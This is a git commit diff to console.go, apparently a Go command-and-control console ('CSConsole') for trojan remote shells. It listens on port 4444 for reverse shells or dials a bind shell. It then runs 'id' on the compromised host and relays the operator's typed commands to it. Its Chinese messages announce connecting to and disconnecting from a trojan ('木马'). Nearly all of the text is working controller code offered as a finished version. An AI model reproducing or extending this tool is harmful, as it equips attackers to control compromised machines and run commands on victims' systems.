finish version 1.0
This commit is contained in:
parent
456bce1ac1
commit
55702d8f95
82
console.go
82
console.go
@ -11,7 +11,6 @@ import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@ -36,16 +35,13 @@ type env struct {
|
||||
|
||||
var env1 env
|
||||
|
||||
var lock sync.Mutex
|
||||
|
||||
// listener function
|
||||
func listener(network string, port int) {
|
||||
func listener(port int) {
|
||||
// Create a listener
|
||||
var addr net.TCPAddr
|
||||
addr.IP = net.IPv4(127, 0, 0, 1)
|
||||
addr.Port = port
|
||||
listener, err := net.ListenTCP("tcp", &addr)
|
||||
//listener, err := net.Listen("tcp", ":"+strport)
|
||||
if err != nil {
|
||||
fmt.Println("err = ", err)
|
||||
return
|
||||
@ -67,6 +63,8 @@ func listener(network string, port int) {
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
//Get username
|
||||
conn.Write([]byte("id\n"))
|
||||
@ -75,25 +73,44 @@ func listener(network string, port int) {
|
||||
|
||||
go func() {
|
||||
for {
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
sender(conn, exit, receive)
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
fmt.Println("waiting exit")
|
||||
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", aaaa)
|
||||
return
|
||||
}
|
||||
|
||||
// 控制台函数
|
||||
func console() {
|
||||
|
||||
//set some defult env varieties
|
||||
env1.lport = 4444
|
||||
env1.rhost = "127.0.0.1"
|
||||
env1.rport = 4444
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
fmt.Print("CSConsole > ")
|
||||
@ -165,13 +182,11 @@ func execInput(input string) error {
|
||||
return nil
|
||||
|
||||
case "listen":
|
||||
listener("tcp", env1.lport)
|
||||
listener(env1.lport)
|
||||
return nil
|
||||
|
||||
case "dial":
|
||||
//dial("tcp", env1.rhost, env1.rport)
|
||||
dial("tcp", "127.0.0.1", 4444)
|
||||
fmt.Print("dial ended")
|
||||
dial(env1.rhost, env1.rport)
|
||||
return nil
|
||||
case "exit":
|
||||
os.Exit(0)
|
||||
@ -188,7 +203,7 @@ func execInput(input string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func dial(network string, host string, port int) {
|
||||
func dial(host string, port int) {
|
||||
//处理连接参数
|
||||
var dialaddr net.TCPAddr
|
||||
var ipargs [4]int
|
||||
@ -199,16 +214,19 @@ func dial(network string, host string, port int) {
|
||||
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
|
||||
dialaddr.Port = port
|
||||
|
||||
conn, err := net.DialTCP(network, nil, &dialaddr)
|
||||
conn, err := net.DialTCP("tcp", nil, &dialaddr)
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
defer fmt.Println("木马已断开")
|
||||
fmt.Println("成功连接木马")
|
||||
|
||||
exit := make(chan string, 1)
|
||||
receive := make(chan int)
|
||||
sstop := make(chan string)
|
||||
rstop := make(chan string)
|
||||
|
||||
conn.Write([]byte("id\n"))
|
||||
receiver(*conn)
|
||||
@ -216,24 +234,36 @@ func dial(network string, host string, port int) {
|
||||
|
||||
go func() {
|
||||
for {
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
select {
|
||||
case <-rstop:
|
||||
return
|
||||
default:
|
||||
<-receive
|
||||
receiver(*conn)
|
||||
fmt.Print(env1.username + " > ")
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
sender(conn, exit, receive)
|
||||
select {
|
||||
case <-sstop:
|
||||
return
|
||||
default:
|
||||
sender(conn, exit, receive, sstop, rstop)
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
aaaa := <-exit //尝试从通道中读取内容,若通道为空,则阻塞在此
|
||||
sstop <- "stop sender"
|
||||
rstop <- "stop receiver"
|
||||
fmt.Printf("command: %v\n", aaaa)
|
||||
return
|
||||
}
|
||||
|
||||
func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
inp, err := reader.ReadString('\n')
|
||||
if len(inp) == 1 {
|
||||
@ -313,8 +343,8 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
|
||||
|
||||
if strings.HasPrefix(inp, ":exit") {
|
||||
exit <- "server quit" // 3. 向通道内写入内容
|
||||
conn.Close()
|
||||
//fmt.Print(env1.username + " > ")
|
||||
conn.Write([]byte("exit\n"))
|
||||
receive <- 1
|
||||
return
|
||||
}
|
||||
|
||||
@ -355,8 +385,6 @@ func receiver(conn net.TCPConn) {
|
||||
}
|
||||
fmt.Printf("%v", string(buf[:n]))
|
||||
if n != buflen {
|
||||
fmt.Println(n)
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user